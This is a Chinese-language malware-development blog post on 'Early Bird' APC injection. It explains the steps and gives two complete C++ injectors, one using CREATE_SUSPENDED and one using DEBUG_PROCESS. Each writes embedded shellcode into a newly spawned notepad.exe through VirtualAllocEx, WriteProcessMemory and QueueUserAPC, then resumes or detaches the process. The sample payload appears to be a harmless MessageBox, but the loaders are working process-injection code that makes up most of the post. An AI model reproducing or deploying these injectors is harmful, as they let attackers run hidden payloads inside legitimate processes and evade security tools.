首页 > 其他分享 >【Maldev】Early Bird 注入

【Maldev】Early Bird 注入

时间:2025-01-17 13:54:35浏览次数:1  
标签:Maldev x48 Early x8B x4D x4C x8D x00 Bird

一、介绍

QueueUserAPC 用于执行本地 APC 注入,APC 注入利用需要一个已挂起或可警报的线程才能成功执行 Payload。但是很难碰到处于这些状态的线程,尤其是以普通用户权限运行的线程,而Early Bird注入则是利用CreateProcess WinAPI 创建一个挂起的进程,并使用其挂起线程的句柄。挂起的线程符合 APC 注入的使用条件。

二、实现步骤

1、使用CreateProcessA函数创建一个挂起CREATE_SUSPENDED的进程

2、使用VirtualAllocEx在创建的进程当中申请一片内存

3、使用WriteProcessMemory将shellcode写入申请的内存当中

4、使用QueueUserAPC插入到该进程的主线程

5、使用ResumeThread恢复线程

三、代码实现

实现过程当注意:

CreateProcessA 需要 ANSI 版本的 STARTUPINFO(即 STARTUPINFOA),而传递了 Unicode 版本的 STARTUPINFO。通过将 STARTUPINFO 更改为 STARTUPINFOA

#include <windows.h>
#include <iostream>

unsigned char shellcode[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
"\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
"\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
"\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";

BOOL BirdAPC(LPCSTR lpProcessName) {
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };

    // 初始化 STARTUPINFO 和 PROCESS_INFORMATION 结构
    ZeroMemory(&si, sizeof(STARTUPINFOA));  // 使用 ZeroMemory 清零
    ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));

    // 设置 STARTUPINFO 结构
    si.cb = sizeof(STARTUPINFOA);

    // 创建挂起的进程
    if (!CreateProcessA(lpProcessName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        std::cerr << "CreateProcessA failed with error: " << GetLastError() << std::endl;
        return FALSE;
    }

    // 分配内存空间用于 shellcode
    LPVOID lpBaseAddress = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (lpBaseAddress == NULL) {
        std::cerr << "VirtualAllocEx failed with error: " << GetLastError() << std::endl;
        return FALSE;
    }

    // 写入 shellcode 到进程内存
    if (!WriteProcessMemory(pi.hProcess, lpBaseAddress, shellcode, sizeof(shellcode), NULL)) {
        std::cerr << "WriteProcessMemory failed with error: " << GetLastError() << std::endl;
        return FALSE;
    }

    // 将 shellcode 执行排入线程
    if (!QueueUserAPC((PAPCFUNC)lpBaseAddress, pi.hThread, NULL)) {
        std::cerr << "QueueUserAPC failed with error: " << GetLastError() << std::endl;
        return FALSE;
    }

    // 恢复线程
    ResumeThread(pi.hThread);

    // 清理资源
  CloseHandle(pi.hThread);
  CloseHandle(pi.hProcess);

    return TRUE;
}

int main() {
    if (BirdAPC("C:\\Windows\\System32\\notepad.exe")) {
        std::cout << "BirdAPC Success!" << std::endl;
    }
    else {
        std::cerr << "BirdAPC Failed!" << std::endl;
    }
    return 0;
}

另外一种实现:

DEBUG_PROCESS 标志将新进程创建为调试进程,并将本地进程设为其调试器。当一个进程作为调试进程创建时,一个断点将被置于进程入口点中。这个断点将暂停进程,并等待恢复执行有效载荷将被注入到目标进程中,通过 QueueUserAPC WinAPI 来执行。一旦有效载荷被注入,并且远程调试线程被排入队列以运行有效载荷,本地进程可以使用 DebugActiveProcessWinAPI 从目标进程中分离,该 API 将停止远程进程的调试功能

#include <windows.h>
#include <iostream>

unsigned char shellcode[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
"\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
"\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
"\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";

BOOL BirdAPC(LPCSTR lpProcessName) {
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };

    // 初始化 STARTUPINFO 和 PROCESS_INFORMATION 结构
    ZeroMemory(&si, sizeof(STARTUPINFOA));  // 使用 ZeroMemory 清零
    ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));

    // 设置 STARTUPINFO 结构
    si.cb = sizeof(STARTUPINFOA);

    // 创建挂起的进程
    if (!CreateProcessA(lpProcessName, NULL, NULL, NULL, FALSE, DEBUG_PROCESS, NULL, NULL, &si, &pi)) {
        std::cerr << "CreateProcessA failed with error: " << GetLastError() << std::endl;
        return FALSE;
    }

    // 分配内存空间用于 shellcode
    LPVOID lpBaseAddress = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (lpBaseAddress == NULL) {
        std::cerr << "VirtualAllocEx failed with error: " << GetLastError() << std::endl;
        return FALSE;
    }

    // 写入 shellcode 到进程内存
    if (!WriteProcessMemory(pi.hProcess, lpBaseAddress, shellcode, sizeof(shellcode), NULL)) {
        std::cerr << "WriteProcessMemory failed with error: " << GetLastError() << std::endl;
        return FALSE;
    }

    // 将 shellcode 执行排入线程
    if (!QueueUserAPC((PAPCFUNC)lpBaseAddress, pi.hThread, NULL)) {
        std::cerr << "QueueUserAPC failed with error: " << GetLastError() << std::endl;
        return FALSE;
    }

    DebugActiveProcessStop(pi.dwProcessId);

    CloseHandle(pi.hProcess);

    return TRUE;
}

int main() {
    if (BirdAPC("C:\\Windows\\System32\\notepad.exe")) {
        std::cout << "BirdAPC Success!" << std::endl;
    }
    else {
        std::cerr << "BirdAPC Failed!" << std::endl;
    }
    return 0;
}

  

参考链接:

https://idiotc4t.com/code-and-dll-process-injection/early-bird

《Maldevacademy》

 

 

标签:Maldev,x48,Early,x8B,x4D,x4C,x8D,x00,Bird
From: https://www.cnblogs.com/websecyw/p/18676787

相关文章

  • BEVFusion: Multi-Task Multi-Sensor Fusion with Unified Bird’s-Eye View Represen
    多传感器融合最近的方法为将相机特征与激光雷达点云进行融合。然而,相机到激光雷达的投影会丢失相机特征的语义密度,阻碍此类方法的效果,尤其是对于语义导向的任务(如3D场景分割)。BEVFusion,将多模态特征统一在共享的鸟瞰视图(BEV)表示空间中,同时保持了几何结构和语义密度,并......
  • 【AI游戏】使用强化学习玩 Flappy Bird:从零实现 Q-Learning 算法(附完整资源)
    1. 引言FlappyBird是一款经典的休闲游戏,玩家需要控制小鸟穿过管道,避免碰撞。虽然游戏规则简单,但实现一个AI来自动玩FlappyBird却是一个有趣的挑战。本文将介绍如何使用 Q-Learning 强化学习算法来训练一个AI,使其能够自动玩FlappyBird。我们将从游戏的基本框架开......
  • 【漫话机器学习系列】043.提前停止训练(Early Stopping)
    提前停止训练(EarlyStopping)提前停止(EarlyStopping)是一种在训练机器学习模型(尤其是深度学习模型)时常用的正则化技术,用于防止过拟合并提升模型的泛化能力。它通过监控验证集的性能,在性能不再提高或开始下降时终止训练,从而选择性能最佳的模型。工作原理提前停止的基本思想......
  • 探索Bearly Code Interpreter:远程代码执行与数据交互的完美结合
    #探索BearlyCodeInterpreter:远程代码执行与数据交互的完美结合##引言随着人工智能和编程领域的快速发展,安全高效的代码执行环境变得越来越重要。这篇文章将介绍BearlyCodeInterpreter,一个允许远程执行代码的强大工具,使得如代码解释器等功能的实现更加安全可靠。我......
  • 在esp32上实现flappy bird
    此篇文章在2022年2月12日被记录看到B站很多大佬都在单片机上运行flappybird小游戏,自己也想试一试,顺便提升自己的编程思路!开发平台:platform平台(不得不说这是一个好东西)+Arduino框架硬件:ESP32、ILI9341编程思路:新建水管结构体,包含水管参数与水管更新删除函数:structTu......
  • 题解 - Birds
    题目题目大意一条直线上有\(n\)棵树,第\(i\)棵树上有\(c_i\)​只鸟。在第\(i\)棵树下召唤一只鸟的魔力代价是\(cost_i\)​。每召唤一只鸟,魔力上限会增加\(B\)。每向前走一棵树,会增加\(X\)的魔力。一开始的魔力和魔力上限都是\(W\)。你只能向前移动。问最多能够召......
  • 3.4.4 __ipipe_init_early之再论虚拟中断
    点击查看系列文章=》 InterruptPipeline系列文章大纲-CSDN博客3.4.4__ipipe_init_early之再论虚拟中断     根据《3.4.1.2IPIPE对Linux中断号的改造》的分析,IPIPE引入的虚拟中断virtualinterrupt的概念,其中前10个虚拟中断本质上是利用SGI实现的IPI中断。IPIPE在......
  • Text-to-SQL技术升级 - 阿里云OpenSearch-SQL在BIRD榜单夺冠方法
    Text-to-SQL技术升级-阿里云OpenSearch-SQL在BIRD榜单夺冠方法Text-to-SQL任务旨在将自然语言查询转换为结构化查询语言(SQL),从而使非专业用户能够便捷地访问和操作数据库。近期,阿里云的OpenSearch引擎凭借其一致性对齐技术,在当前极具影响力的Text-to-SQL任务榜单BIR......
  • 3.4.3 __ipipe_init_early之初始化root domain
    点击查看系列文章=》 InterruptPipeline系列文章大纲-CSDN博客3.4.3__ipipe_init_early之初始化rootdomain      如下图所示,红框里面的函数当前都是空的,本章还是分析蓝框中的代码片段。第295行,变量ipd指向了ipipe_root即ipd代表rootdomain。第305行,rootdoma......
  • Little Bird(单调队列优化的DP)
    题目描述有一排\(n\)棵树,第\(i\)棵树的高度是\(d_i\)。有一只鸟要从第\(1\)棵树飞到第\(n\)棵树。如果鸟降落在第\(i\)棵树,那么它下一步可以降落到第\(i+1,i+2,\dots,i+k\)棵树之中的一棵。如果鸟降落到一棵不矮于当前树的树,那么它的劳累值会\(+1\),否则不会。求劳累值的最小值......